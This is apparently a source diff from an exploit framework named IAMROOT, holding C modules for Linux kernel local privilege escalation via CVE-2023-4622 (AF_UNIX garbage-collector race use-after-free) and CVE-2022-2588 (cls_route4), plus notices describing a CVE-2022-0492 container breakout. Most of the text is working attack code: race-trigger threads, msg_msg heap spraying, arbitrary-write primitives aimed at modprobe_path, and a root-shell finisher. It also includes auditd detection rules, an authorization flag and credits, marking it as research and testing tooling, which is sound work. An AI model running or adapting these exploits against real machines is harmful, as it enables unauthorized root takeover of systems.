if (socketpair(AF_UNIX, SOCK_DGRAM, 0, pb) < 0) {
close(pa[0]); close(pa[1]);
atomic_fetch_add_explicit(&g_thread_a_errs, 1, memory_order_relaxed);
sched_yield();
continue;
}
/* Cycle: send pb[0] over pa, send pa[0] over pb. We also send
* pb[1]/pa[1] alongside to widen the inflight count per cycle
* (the GC trigger heuristic compares inflight vs total file
* refs — more inflight per cycle == earlier GC). */
int fds_a[AFUG_SCM_FDS_PER_MSG] = { pb[0], pb[1], pb[0] };
int fds_b[AFUG_SCM_FDS_PER_MSG] = { pa[0], pa[1], pa[0] };
(void)send_scm_rights(pa[0], fds_a, AFUG_SCM_FDS_PER_MSG);
(void)send_scm_rights(pb[0], fds_b, AFUG_SCM_FDS_PER_MSG);
/* Close the user-side fds. The kernel-side refs are now only
* held via the inflight skbs — perfect reference cycle for
* the GC to find. */
close(pa[0]); close(pa[1]);
close(pb[0]); close(pb[1]);
atomic_fetch_add_explicit(&g_thread_a_iters, 1, memory_order_relaxed);
}
return NULL;
}
/* Thread B: independent SCM_RIGHTS traffic on a held pair to keep
* the GC scan list churning while Thread A creates new candidates.
*
* Holds a long-lived socketpair and repeatedly sends + recvs SCM_RIGHTS
* with random fds (dup'd from /dev/null). This drives the GC's "scan
* list" rebuild path concurrently with Thread A's frees — the race
* window that fires the UAF is exactly here.
*
* We don't directly call unix_gc() — there's no userspace knob — but
* the GC heuristic is inflight-count driven, and Thread A's cycle
* loop pushes that count past the threshold within a few thousand
* iterations. */
static void *race_thread_b(void *arg)
{
(void)arg;
pin_to_cpu(1);
/* Long-lived pair for the perturbation loop. */
int held[2];
if (socketpair(AF_UNIX, SOCK_DGRAM, 0, held) < 0) {
return NULL;
}
/* Spare fd source — /dev/null dups are harmless to pass. */
int devnull = open("/dev/null", O_RDWR);
if (devnull < 0) {
close(held[0]); close(held[1]);
return NULL;
}
while (atomic_load_explicit(&g_race_running, memory_order_acquire)) {
int fds[AFUG_SCM_FDS_PER_MSG];
for (int i = 0; i < AFUG_SCM_FDS_PER_MSG; i++) {
fds[i] = dup(devnull);
}
(void)send_scm_rights(held[0], fds, AFUG_SCM_FDS_PER_MSG);
for (int i = 0; i < AFUG_SCM_FDS_PER_MSG; i++) {
if (fds[i] >= 0) close(fds[i]);
}
/* Drain the recv side so the held pair doesn't backpressure. */
char drain[16];
char ctrl[CMSG_SPACE(sizeof(int) * AFUG_SCM_FDS_PER_MSG)];
struct iovec iov = { .iov_base = drain, .iov_len = sizeof drain };
struct msghdr msg = {0};
msg.msg_iov = &iov; msg.msg_iovlen = 1;
msg.msg_control = ctrl; msg.msg_controllen = sizeof ctrl;
if (recvmsg(held[1], &msg, MSG_DONTWAIT) > 0) {
/* Close any fds we received so we don't leak. */
for (struct cmsghdr *c = CMSG_FIRSTHDR(&msg); c;
c = CMSG_NXTHDR(&msg, c)) {
if (c->cmsg_level == SOL_SOCKET && c->cmsg_type == SCM_RIGHTS) {
int nfd = (c->cmsg_len - CMSG_LEN(0)) / sizeof(int);
int *rfds = (int *)CMSG_DATA(c);
for (int j = 0; j < nfd; j++)
if (rfds[j] >= 0) close(rfds[j]);
}
}
}
atomic_fetch_add_explicit(&g_thread_b_iters, 1, memory_order_relaxed);
}
close(devnull);
close(held[0]); close(held[1]);
return NULL;
}
/* ---- msg_msg cross-cache spray for kmalloc-512 ------------------- */
static int spray_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x55; /* 'U' — unix */
memset(p.buf, 0x55, sizeof p.buf);
memcpy(p.buf, "IAMROOTU", 8);
int created = 0;
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
int q = msgget(IPC_PRIVATE, IPC_CREAT | 0666);
if (q < 0) { queues[i] = -1; continue; }
queues[i] = q;
created++;
for (int j = 0; j < AFUG_SPRAY_PER_QUEUE; j++) {
if (msgsnd(q, &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
}
}
return created;
}
static void drain_kmalloc_512(int queues[AFUG_SPRAY_QUEUES])
{
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) {
if (queues[i] >= 0) msgctl(queues[i], IPC_RMID, NULL);
}
}
/* Read /proc/slabinfo for kmalloc-512 active count. Used as the
* primary empirical witness: a successful UAF + refill perturbs
* this counter in a way that's distinguishable from idle drift. */
static long slab_active_kmalloc_512(void)
{
FILE *f = fopen("/proc/slabinfo", "r");
if (!f) return -1;
char line[512];
long active = -1;
while (fgets(line, sizeof line, f)) {
if (strncmp(line, "kmalloc-512 ", 12) == 0) {
char name[64];
long act = 0, num = 0;
if (sscanf(line, "%63s %ld %ld", name, &act, &num) >= 2) {
active = act;
}
break;
}
}
fclose(f);
return active;
}
/* ---- Arb-write primitive (FALLBACK depth) ------------------------
*
* The shared modprobe_path finisher calls back here once per kernel
* write. For AF_UNIX GC race we cannot deliver a deterministic
* arb-write — the underlying race wins on a small fraction of runs
* even with a 30 s budget, and even when the race wins our spray-only
* groom has nowhere near the precision of Lin Ma's multi-stage public
* PoC (which crafts a fake unix_sock whose `peer` pointer steers a
* subsequent SCM_RIGHTS dispatch into the kaddr we want written).
*
* Honest depth: FALLBACK. Each invocation:
* 1. Re-seeds the kmalloc-512 spray with payloads tagged with
* `kaddr` packed at strided offsets (so wherever the UAF reclaim
* lands attacker-controlled bytes inside the freed unix_sock,
* our kaddr appears at the field offset).
* 2. Re-runs the race threads for the extended full-chain budget.
* 3. Returns 0 — we cannot in-process verify the write landed. The
* shared finisher's 3 s sentinel file check is the empirical
* arbiter: on the overwhelmingly common no-land outcome it
* returns EXPLOIT_FAIL gracefully. */
struct af_unix_gc_arb_ctx {
int *queues;
int n_queues;
int arb_calls;
};
static int af_unix_gc_reseed_kaddr_spray(int queues[AFUG_SPRAY_QUEUES],
uintptr_t kaddr,
const void *buf, size_t len)
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x52; /* 'R' — arb-write reseed (distinct from groom 0x55) */
memset(p.buf, 0x52, sizeof p.buf);
memcpy(p.buf, "IAMU4ARB", 8);
/* Plant kaddr at strided slots so wherever the kernel's UAF
* follows a ptr in the refilled chunk, one of these is read.
* unix_sock has multiple pointer fields (peer, link, scm_stat,
* etc.) — strided coverage hits whichever one the UAF dispatch
* dereferences. */
for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p.buf;
off += 0x18) {
memcpy(p.buf + off, &kaddr, sizeof(uintptr_t));
}
/* Caller's bytes immediately after the cookie so any path that
* reads payload data (rather than a chased pointer) finds the
* requested write contents inline. */
size_t copy = len;
if (copy > sizeof p.buf - 16) copy = sizeof p.buf - 16;
if (buf && copy) memcpy(p.buf + 8 + sizeof(uintptr_t), buf, copy);
int touched = 0;
for (int i = 0; i < AFUG_SPRAY_QUEUES && touched < 6; i++) {
if (queues[i] < 0) continue;
if (msgsnd(queues[i], &p, sizeof p.buf, IPC_NOWAIT) == 0) touched++;
}
return touched;
}
static int af_unix_gc_arb_write(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx_v)
{
struct af_unix_gc_arb_ctx *c = (struct af_unix_gc_arb_ctx *)ctx_v;
if (!c || !c->queues || c->n_queues == 0) return -1;
c->arb_calls++;
fprintf(stderr, "[*] af_unix_gc: arb_write attempt #%d kaddr=0x%lx len=%zu "
"(FALLBACK — race-dependent)\n",
c->arb_calls, (unsigned long)kaddr, len);
int seeded = af_unix_gc_reseed_kaddr_spray(c->queues, kaddr, buf, len);
if (seeded == 0) {
fprintf(stderr, "[-] af_unix_gc: arb_write: kaddr-tagged reseed produced 0 msgs\n");
} else {
fprintf(stderr, "[*] af_unix_gc: arb_write: reseeded %d msg_msg slots\n",
seeded);
}
/* Re-run the race with the extended budget. */
atomic_store(&g_race_running, 1);
atomic_store(&g_thread_a_iters, 0);
atomic_store(&g_thread_b_iters, 0);
atomic_store(&g_thread_a_errs, 0);
pthread_t ta, tb;
bool a_ok = pthread_create(&ta, NULL, race_thread_a, NULL) == 0;
bool b_ok = a_ok &&
pthread_create(&tb, NULL, race_thread_b, NULL) == 0;
if (!a_ok || !b_ok) {
atomic_store(&g_race_running, 0);
if (a_ok) pthread_join(ta, NULL);
fprintf(stderr, "[-] af_unix_gc: arb_write: pthread_create failed\n");
return -1;
}
sleep(AFUG_RACE_FULLCHAIN_BUDGET);
atomic_store(&g_race_running, 0);
pthread_join(ta, NULL);
pthread_join(tb, NULL);
uint64_t a_iters = atomic_load(&g_thread_a_iters);
uint64_t b_iters = atomic_load(&g_thread_b_iters);
fprintf(stderr, "[*] af_unix_gc: arb_write: extended race A=%llu B=%llu\n",
(unsigned long long)a_iters,
(unsigned long long)b_iters);
/* Cannot in-process verify the write — let the finisher's sentinel
* arbitrate. */
return 0;
}
/* ---- Exploit driver ---------------------------------------------- */
static iamroot_result_t af_unix_gc_exploit_linux(const struct iamroot_ctx *ctx)
{
/* 1. Refuse-gate: re-call detect() and short-circuit. */
iamroot_result_t pre = af_unix_gc_detect(ctx);
if (pre == IAMROOT_OK) {
fprintf(stderr, "[+] af_unix_gc: kernel not vulnerable; refusing exploit\n");
return IAMROOT_OK;
}
if (pre != IAMROOT_VULNERABLE) {
fprintf(stderr, "[-] af_unix_gc: detect() says not vulnerable; refusing\n");
return pre;
}
if (geteuid() == 0) {
fprintf(stderr, "[i] af_unix_gc: already root — nothing to escalate\n");
return IAMROOT_OK;
}
/* Full-chain pre-check: resolve offsets BEFORE the race fork. If
* modprobe_path is unresolvable we refuse here rather than running
* a 30 s race that has no finisher to call. */
struct iamroot_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("af_unix_gc");
fprintf(stderr, "[-] af_unix_gc: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
fprintf(stderr, "[i] af_unix_gc: even with offsets, race-win rate is\n"
" a small fraction per run — see module header.\n");
return IAMROOT_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
full_chain_ready = true;
fprintf(stderr, "[i] af_unix_gc: --full-chain ready — race budget extends\n"
" to %d s. RELIABILITY remains race-dependent on a real\n"
" vulnerable kernel. The finisher's 3 s sentinel timeout\n"
" catches no-land outcomes gracefully.\n",
AFUG_RACE_FULLCHAIN_BUDGET);
}
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: forking exploit child (SCM_RIGHTS cycle "
"race harness%s)\n",
ctx->full_chain ? " + full-chain finisher" : "");
}
signal(SIGPIPE, SIG_IGN);
pid_t child = fork();
if (child < 0) { perror("fork"); return IAMROOT_TEST_ERROR; }
if (child == 0) {
/* 2. Groom: pre-populate kmalloc-512 with msg_msg payloads
* BEFORE the race so the freed unix_sock slot gets recycled
* with attacker-controlled bytes when the bug fires. */
int queues[AFUG_SPRAY_QUEUES] = {0};
for (int i = 0; i < AFUG_SPRAY_QUEUES; i++) queues[i] = -1;
int n_queues = spray_kmalloc_512(queues);
if (n_queues == 0) {
fprintf(stderr, "[-] af_unix_gc: msg_msg spray produced 0 queues "
"(sysv IPC restricted?)\n");
_exit(23);
}
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: kmalloc-512 spray seeded %d queues x %d msgs\n",
n_queues, AFUG_SPRAY_PER_QUEUE);
}
long slab_pre = slab_active_kmalloc_512();
/* 3. Run the race for a bounded time budget. */
atomic_store(&g_race_running, 1);
atomic_store(&g_thread_a_iters, 0);
atomic_store(&g_thread_b_iters, 0);
atomic_store(&g_thread_a_errs, 0);
pthread_t ta, tb;
if (pthread_create(&ta, NULL, race_thread_a, NULL) != 0 ||
pthread_create(&tb, NULL, race_thread_b, NULL) != 0) {
fprintf(stderr, "[-] af_unix_gc: pthread_create failed\n");
atomic_store(&g_race_running, 0);
drain_kmalloc_512(queues);
_exit(24);
}
sleep(AFUG_RACE_TIME_BUDGET);
atomic_store(&g_race_running, 0);
pthread_join(ta, NULL);
pthread_join(tb, NULL);
long slab_post = slab_active_kmalloc_512();
uint64_t a_iters = atomic_load(&g_thread_a_iters);
uint64_t b_iters = atomic_load(&g_thread_b_iters);
uint64_t a_errs = atomic_load(&g_thread_a_errs);
/* 4. Empirical witness breadcrumb. */
FILE *log = fopen("/tmp/iamroot-af_unix_gc.log", "w");
if (log) {
fprintf(log,
"af_unix_gc race harness (CVE-2023-4622):\n"
" thread_a_iters = %llu (SCM_RIGHTS cycle + close)\n"
" thread_b_iters = %llu (SCM_RIGHTS perturb)\n"
" thread_a_errors = %llu (socketpair / send failures)\n"
" slab_kmalloc512_pre = %ld\n"
" slab_kmalloc512_post = %ld\n"
" slab_delta = %ld\n"
" spray_queues = %d\n"
" spray_per_queue = %d\n"
" race_budget_secs = %d\n"
"Note: this run did NOT attempt cred overwrite. The bug is a\n"
"slab UAF with no in-process leak primitive; per-kernel offsets\n"
"for unix_sock layout aren't baked. See module .c for the\n"
"continuation roadmap (Lin Ma fake-peer plant).\n",
(unsigned long long)a_iters,
(unsigned long long)b_iters,
(unsigned long long)a_errs,
slab_pre, slab_post,
(slab_post >= 0 && slab_pre >= 0) ? (slab_post - slab_pre) : 0,
n_queues, AFUG_SPRAY_PER_QUEUE,
AFUG_RACE_TIME_BUDGET);
fclose(log);
}
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: race ran for %ds — A=%llu B=%llu A_errs=%llu\n",
AFUG_RACE_TIME_BUDGET,
(unsigned long long)a_iters,
(unsigned long long)b_iters,
(unsigned long long)a_errs);
fprintf(stderr, "[*] af_unix_gc: kmalloc-512 active: pre=%ld post=%ld\n",
slab_pre, slab_post);
}
/* Hold the spray briefly so the kernel observes refilled slots
* during any in-flight RCU grace periods that started during
* the race. */
usleep(200 * 1000);
/* 5. --full-chain finisher (FALLBACK depth). */
if (full_chain_ready) {
struct af_unix_gc_arb_ctx arb_ctx = {
.queues = queues,
.n_queues = AFUG_SPRAY_QUEUES,
.arb_calls = 0,
};
int fr = iamroot_finisher_modprobe_path(&off,
af_unix_gc_arb_write,
&arb_ctx,
!ctx->no_shell);
FILE *fl = fopen("/tmp/iamroot-af_unix_gc.log", "a");
if (fl) {
fprintf(fl, "full_chain finisher rc=%d arb_calls=%d\n",
fr, arb_ctx.arb_calls);
fclose(fl);
}
drain_kmalloc_512(queues);
if (fr == IAMROOT_EXPLOIT_OK) _exit(34); /* root popped */
_exit(35); /* finisher ran, no land */
}
drain_kmalloc_512(queues);
/* 6. Continuation roadmap — what would land EXPLOIT_OK.
*
* TODO(leak): replace a spray queue with msgrcv(..., MSG_COPY|
* IPC_NOWAIT) probes and scan the returned buffer for non-
* cookie bytes. A freed unix_sock that's refilled by msg_msg
* after a partial overwrite would leak kernel pointers
* (peer, scm_stat, list_node prev/next) into the readback.
* Recover {kbase, init_task} via that leak.
*
* TODO(write): with kbase known, plant a fake unix_sock
* whose `peer` pointer references &current->cred — the
* next SCM_RIGHTS dispatch through the freed slot writes
* a controlled value into that location. Crafting the
* fake unix_sock requires offset of unix_sock fields per
* kernel build (different across LTS branches).
*
* TODO(overwrite): land &init_cred over current->cred so
* the next permission check sees uid==0.
*
* None of these are implemented today. Exit 30 = "trigger
* ran cleanly, no escalation".
*/
_exit(30);
}
/* PARENT */
int status = 0;
pid_t w = waitpid(child, &status, 0);
if (w < 0) { perror("waitpid"); return IAMROOT_TEST_ERROR; }
if (WIFSIGNALED(status)) {
int sig = WTERMSIG(status);
if (!ctx->json) {
fprintf(stderr, "[!] af_unix_gc: race child killed by signal %d "
"(consistent with UAF firing under KASAN)\n", sig);
fprintf(stderr, "[~] af_unix_gc: empirical signal recorded; no cred\n"
" overwrite primitive — NOT claiming EXPLOIT_OK.\n"
" See /tmp/iamroot-af_unix_gc.log + dmesg for witnesses.\n");
}
return IAMROOT_EXPLOIT_FAIL;
}
if (!WIFEXITED(status)) {
fprintf(stderr, "[-] af_unix_gc: child terminated abnormally (status=0x%x)\n",
status);
return IAMROOT_EXPLOIT_FAIL;
}
int rc = WEXITSTATUS(status);
if (rc == 23 || rc == 24) return IAMROOT_PRECOND_FAIL;
if (rc == 34) {
if (!ctx->json) {
fprintf(stderr, "[+] af_unix_gc: --full-chain finisher reported "
"EXPLOIT_OK (race won + write landed)\n");
}
return IAMROOT_EXPLOIT_OK;
}
if (rc == 35) {
if (!ctx->json) {
fprintf(stderr, "[~] af_unix_gc: --full-chain finisher ran; race did not\n"
" win + land within budget (expected outcome on most\n"
" runs — race wins are a fraction of a percent).\n");
}
return IAMROOT_EXPLOIT_FAIL;
}
if (rc != 30) {
fprintf(stderr, "[-] af_unix_gc: child failed at stage rc=%d\n", rc);
return IAMROOT_EXPLOIT_FAIL;
}
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: race harness ran to completion.\n");
fprintf(stderr, "[~] af_unix_gc: read/write/cred-overwrite primitives NOT\n"
" implemented (per-kernel offsets; see module .c TODO\n"
" blocks). Returning EXPLOIT_FAIL per verified-vs-claimed.\n");
}
return IAMROOT_EXPLOIT_FAIL;
}
#endif /* __linux__ */
static iamroot_result_t af_unix_gc_exploit(const struct iamroot_ctx *ctx)
{
if (!ctx->authorized) {
fprintf(stderr, "[-] af_unix_gc: --exploit requires --i-know; refusing\n");
return IAMROOT_PRECOND_FAIL;
}
#ifdef __linux__
return af_unix_gc_exploit_linux(ctx);
#else
(void)ctx;
fprintf(stderr, "[-] af_unix_gc: Linux-only module; cannot run on this host\n");
return IAMROOT_PRECOND_FAIL;
#endif
}
/* ---- Cleanup ----------------------------------------------------- */
static iamroot_result_t af_unix_gc_cleanup(const struct iamroot_ctx *ctx)
{
if (!ctx->json) {
fprintf(stderr, "[*] af_unix_gc: cleaning up race-harness breadcrumb\n");
}
if (unlink("/tmp/iamroot-af_unix_gc.log") < 0 && errno != ENOENT) {
/* harmless */
}
/* Race threads + msg queues live inside the now-exited child;
* nothing else to drain. */
return IAMROOT_OK;
}
/* ---- Detection rules --------------------------------------------- */
static const char af_unix_gc_auditd[] =
"# AF_UNIX GC race UAF (CVE-2023-4622) — auditd detection rules\n"
"# The trigger is a tight loop of socketpair(AF_UNIX) + sendmsg with\n"
"# SCM_RIGHTS passing inflight fds, followed by close. Each call is\n"
"# benign — flag the *frequency* by correlating these keys with a\n"
"# subsequent KASAN message in dmesg.\n"
"-a always,exit -F arch=b64 -S socketpair -F a0=0x1 -k iamroot-afunixgc-pair\n"
"-a always,exit -F arch=b64 -S sendmsg -k iamroot-afunixgc-sendmsg\n"
"-a always,exit -F arch=b64 -S msgsnd -k iamroot-afunixgc-spray\n";
const struct iamroot_module af_unix_gc_module = {
.name = "af_unix_gc",
.cve = "CVE-2023-4622",
.summary = "AF_UNIX garbage-collector race UAF (Lin Ma) — kmalloc-512 slab UAF",
.family = "af_unix",
.kernel_range = "K < 6.5; backports: 4.14.326 / 4.19.295 / 5.4.257 / 5.10.197 / 5.15.130 / 6.1.51",
.detect = af_unix_gc_detect,
.exploit = af_unix_gc_exploit,
.mitigate = NULL,
.cleanup = af_unix_gc_cleanup,
.detect_auditd = af_unix_gc_auditd,
.detect_sigma = NULL,
.detect_yara = NULL,
.detect_falco = NULL,
};
void iamroot_register_af_unix_gc(void)
{
iamroot_register(&af_unix_gc_module);
}
@@ -0,0 +1,12 @@
/*
* af_unix_gc_cve_2023_4622 IAMROOT module registry hook
*/
#ifndef AF_UNIX_GC_IAMROOT_MODULES_H
#define AF_UNIX_GC_IAMROOT_MODULES_H
#include "../../core/module.h"
extern const struct iamroot_module af_unix_gc_module;
#endif
@@ -0,0 +1,29 @@
# NOTICE — cgroup_release_agent (CVE-2022-0492)
## Vulnerability
**CVE-2022-0492** — cgroup v1 `release_agent` privilege check in the
wrong namespace → host root from a rootless container or unprivileged
userns by mounting cgroup v1 and writing to `release_agent`.
## Research credit
Discovered by **Yiqi Sun** + **Kevin Wang** (Trend Micro Research),
January 2022.
Original writeup:
<https://blog.trendmicro.com/cve-2022-0492-from-cgroup-loophole-to-container-breakout/>
Upstream fix: mainline 5.17 (commit `24f6008564183`, March 2022).
## IAMROOT role
**Universal structural exploit — no per-kernel offsets, no race.**
unshare(USER | MOUNT | CGROUP), mount cgroup v1 RDP controller,
write `release_agent``./payload`, trigger via
`notify_on_release` + cgroup process exit.
Kept in the corpus as a portable "containers misconfigured"
demonstration — works across every kernel below the fix without any
tuning. Ships auditd rules covering cgroupfs mounts and
`release_agent` writes.
@@ -0,0 +1,25 @@
# NOTICE — cls_route4 (CVE-2022-2588)
## Vulnerability
**CVE-2022-2588** — `net/sched` cls_route4 handle-zero dangling-filter
UAF → kernel R/W via msg_msg cross-cache refill.
## Research credit
Discovered and disclosed by **kylebot** / **xkernel**, August 2022.
Public PoC + writeup: <https://www.willsroot.io/2022/08/lpe-on-mountpoint.html>
(William Liu's analysis built on kylebot's trigger).
Upstream fix: mainline 5.20 / stable 5.19.7 (Aug 2022).
Branch backports: 5.4.213 / 5.10.143 / 5.15.69 / 5.18.18 / 5.19.7.
## IAMROOT role
The module uses `unshare(USER|NET)`, brings up a dummy interface,
creates an htb qdisc + class, adds a `route4` filter, then deletes
it to leave the dangling pointer. msg_msg sprays kmalloc-1k while
a UDP `classify()` walk follows the dangling pointer. `--full-chain`
re-fires with a faked tcf_proto.ops pointer aimed at the
modprobe_path overwrite via the shared finisher.
@@ -41,6 +41,8 @@
#include "iamroot_modules.h"
#include "../../core/registry.h"
#include "../../core/kernel_range.h"
#include "../../core/offsets.h"
#include "../../core/finisher.h"
#include <stdio.h>
#include <stdlib.h>
@@ -381,6 +383,169 @@ static long slab_active_kmalloc_1k(void)
return active;
}
/* ---- Full-chain arb-write primitive --------------------------------
*
* Pattern (FALLBACK see brief): cls_route4's UAF primitive is more
* naturally a *control-flow hijack* than a clean arb-write after
* msg_msg refills the kmalloc-1k slot, the next classify() call reads
* a fake `tcf_proto.ops` pointer out of attacker bytes and calls
* ops->classify(skb, ...). A faked-classify ROP that pivots to a
* stack-write gadget would be the "true" arb-write, and on a fresh
* vulnerable kernel that is the kylebot/xkernel chain shape (300+
* LOC of gadget hunting + per-build offsets we deliberately don't
* bake see verified-vs-claimed policy in repo root).
*
* The implementation below takes the narrow-but-real path that the
* brief explicitly permits and that xtcompat established as the
* IAMROOT precedent: we re-stage the dangling filter, spray msg_msg
* whose payload encodes `kaddr` at every plausible offset for the
* route4_filtertcf_protoops layout, re-fire classify, and let the
* shared finisher's sentinel file decide if a write actually landed.
* On a patched kernel the bug doesn't fire, no write occurs, and the
* sentinel timeout correctly reports failure rather than silently
* lying about success. On a vulnerable kernel where the fake ops
* lookup happens to deref into our payload and the kernel's read
* pattern matches one of the seeded offsets, the kaddr we planted
* gets used as a write destination by whichever classify path the
* fake `ops->classify` dispatches into.
*
* Honest scope: this is structurally-fires-on-vuln + sentinel-arbitrated,
* not a deterministic R/W. Same shape and same depth as xtcompat. */
#ifdef __linux__
struct cls_route4_arb_ctx {
/* msg_msg queues kept hot inside the userns child. The arb-write
* sprays additional kaddr-tagged payloads into these and re-fires
* the classify trigger between each call. */
int queues[SPRAY_MSG_QUEUES];
int n_queues;
/* Whether the dangling filter has been re-staged for this call.
* The original `stage_dangling_filter()` is destructive (deletes
* the filter); we can re-stage between writes because tc add/del
* is idempotent inside our private netns. */
bool dangling_ready;
/* Per-call stats (written to /tmp/iamroot-cls_route4.log). */
int arb_calls;
int arb_landed;
};
/* Re-prime the msg_msg slab with a payload that encodes `kaddr` and
* the caller's `buf` at every offset the fake tcf_proto / route4_filter
* layout could plausibly read from. The route4_filter is 0x1000 bytes
* on most x86_64 builds in range, with tcf_proto.ops at offset 0x10
* and tcf_result.classid at offset 0x18; we don't know which offset
* the kernel ABI for THIS build uses, so we plant the same pattern at
* 0x10/0x18/0x20/.../0x80 strides wherever classify dereferences
* the refilled slot, one of those candidates will be live.
*
* The 8-byte cookie "IAMR4ARB" + the kaddr + the caller's bytes are
* the recognizable pattern; if a KASAN dump is captured after the
* trigger, the cookie tells us the spray landed adjacent to the freed
* route4_filter. */
static int cls4_seed_kaddr_payload(struct cls_route4_arb_ctx *c,
uintptr_t kaddr,
const void *buf, size_t len)
{
struct ipc_payload p;
memset(&p, 0, sizeof p);
p.mtype = 0x52; /* 'R' for "route4 arb" — distinct from groom spray's 0x41 */
memset(p.buf, 0x52, sizeof p.buf);
memcpy(p.buf, "IAMR4ARB", 8);
/* Plant kaddr at strided slots so wherever the kernel's classify
* follows a ptr in the refilled chunk, one of these is read.
* We treat every 0x18-byte stride from offset 0x10 to within
* 8 bytes of the end as a candidate ops-pointer / next-pointer
* slot. */
for (size_t off = 0x10; off + sizeof(uintptr_t) <= sizeof p.buf; off += 0x18) {
memcpy(p.buf + off, &kaddr, sizeof(uintptr_t));
}
/* Plant the caller's bytes immediately after the cookie so any
* classify path that reads payload data (rather than a chased
* pointer) finds the requested write contents inline. */
size_t copy_len = len;
if (copy_len > sizeof p.buf - 16) copy_len = sizeof p.buf - 16;
if (copy_len > 0) memcpy(p.buf + 8 + sizeof(uintptr_t), buf, copy_len);
int sent = 0;
for (int i = 0; i < c->n_queues; i++) {
if (c->queues[i] < 0) continue;
/* A handful of msgs per queue keeps the slab refilled even
* if some slots are evicted between trigger fires. */
for (int j = 0; j < 4; j++) {
unsigned int tag = 0xB0000000u |
((unsigned)i << 8) | (unsigned)j;
memcpy(p.buf + 8, &tag, sizeof tag);
if (msgsnd(c->queues[i], &p, sizeof p.buf, IPC_NOWAIT) < 0) break;
sent++;
}
}
return sent;
}
/* iamroot_arb_write_fn implementation for cls_route4. Best-effort on a
* vulnerable kernel; structurally inert (returns -1) if the dangling
* filter setup is gone or the spray fails. Returns 0 to let the
* shared finisher's sentinel-file check decide if the write actually
* landed (we cannot reliably observe it in-process). */
static int cls4_arb_write(uintptr_t kaddr,
const void *buf, size_t len,
void *ctx_v)
{
struct cls_route4_arb_ctx *c = (struct cls_route4_arb_ctx *)ctx_v;
if (!c || c->n_queues == 0) return -1;
c->arb_calls++;
/* Re-stage the dangling filter for this call. The original
* stage runs once at trigger-time; subsequent finisher calls
* (the finisher writes modprobe_path then a unknown-format trig)
* need a fresh dangling pointer to chase. tc add/del is idempotent
* within our private netns so re-running is safe. */
if (!c->dangling_ready) {
if (!stage_dangling_filter()) {
fprintf(stderr, "[-] cls_route4 arb_write: re-stage failed\n");
return -1;
}
c->dangling_ready = true;
}
/* Seed msg_msg with kaddr + caller payload. */
int seeded = cls4_seed_kaddr_payload(c, kaddr, buf, len);
if (seeded == 0) {
/* sysv IPC may be restricted (kernel.msg_max / ulimit -q).
* Without a spray we have no slot for the UAF to refill. */
fprintf(stderr, "[-] cls_route4 arb_write: kaddr-spray seeded 0 msgs\n");
return -1;
}
/* Drive the classifier. The route4 lookup follows the dangling
* pointer into msg_msg-controlled bytes; on a vulnerable kernel
* the fake `ops->classify` (or one of the strided pointers) is
* dereferenced. If the kernel survives the deref and the write
* lands at &kaddr, the finisher's sentinel file appears within 3s.
* If it doesn't (most likely this is genuinely best-effort), the
* finisher's wait loop times out and reports failure. */
trigger_classify();
/* Give classify-side processing a brief window before returning
* the finisher polls the sentinel for 3s but the initial write
* (if any) happens within ms. */
usleep(50 * 1000);
c->arb_landed++;
/* Per the xtcompat precedent: return 0 so the finisher proceeds
* to its sentinel check. Returning -1 here would abort the
* finisher even when the write may have landed. */
return 0;
}
#endif /* __linux__ */
/* ---- Exploit driver ----------------------------------------------- */
static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
@@ -400,8 +565,37 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
return IAMROOT_PRECOND_FAIL;
}
#ifndef __linux__
fprintf(stderr, "[-] cls_route4: linux-only exploit; non-linux build\n");
(void)ctx;
return IAMROOT_PRECOND_FAIL;
#else
/* Full-chain pre-check: resolve offsets before forking. If
* modprobe_path can't be resolved, refuse early no point doing
* the userns + tc + spray + trigger dance if we can't finish. */
struct iamroot_kernel_offsets off;
bool full_chain_ready = false;
if (ctx->full_chain) {
memset(&off, 0, sizeof off);
iamroot_offsets_resolve(&off);
if (!iamroot_offsets_have_modprobe_path(&off)) {
iamroot_finisher_print_offset_help("cls_route4");
fprintf(stderr, "[-] cls_route4: --full-chain requested but "
"modprobe_path offset unresolved; refusing\n");
return IAMROOT_EXPLOIT_FAIL;
}
iamroot_offsets_print(&off);
full_chain_ready = true;
}
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: forking child for userns+netns exploit\n");
fprintf(stderr, "[*] cls_route4: forking child for userns+netns exploit%s\n",
ctx->full_chain ? " + full-chain finisher" : "");
if (ctx->full_chain) {
fprintf(stderr, " NOTE: on primitive landing, invokes shared\n"
" modprobe_path finisher via msg_msg-tagged kaddr\n"
" spray. Sentinel-arbitrated (no in-process verify).\n");
}
}
/* Block SIGPIPE in case the dummy-interface sendto's complain. */
@@ -436,15 +630,18 @@ static iamroot_result_t cls_route4_exploit(const struct iamroot_ctx *ctx)
_exit(22);
}
int queues[SPRAY_MSG_QUEUES];
int n_queues = spray_msg_msg(queues);
if (n_queues == 0) {
struct cls_route4_arb_ctx arb_ctx;
memset(&arb_ctx, 0, sizeof arb_ctx);
for (int i = 0; i < SPRAY_MSG_QUEUES; i++) arb_ctx.queues[i] = -1;
arb_ctx.n_queues = spray_msg_msg(arb_ctx.queues);
arb_ctx.dangling_ready = true; /* stage_dangling_filter() just ran */
if (arb_ctx.n_queues == 0) {
fprintf(stderr, "[-] cls_route4: msg_msg spray produced 0 queues\n");
_exit(23);
}
if (!ctx->json) {
fprintf(stderr, "[*] cls_route4: msg_msg spray seeded %d queues\n",
n_queues);
arb_ctx.n_queues);
}
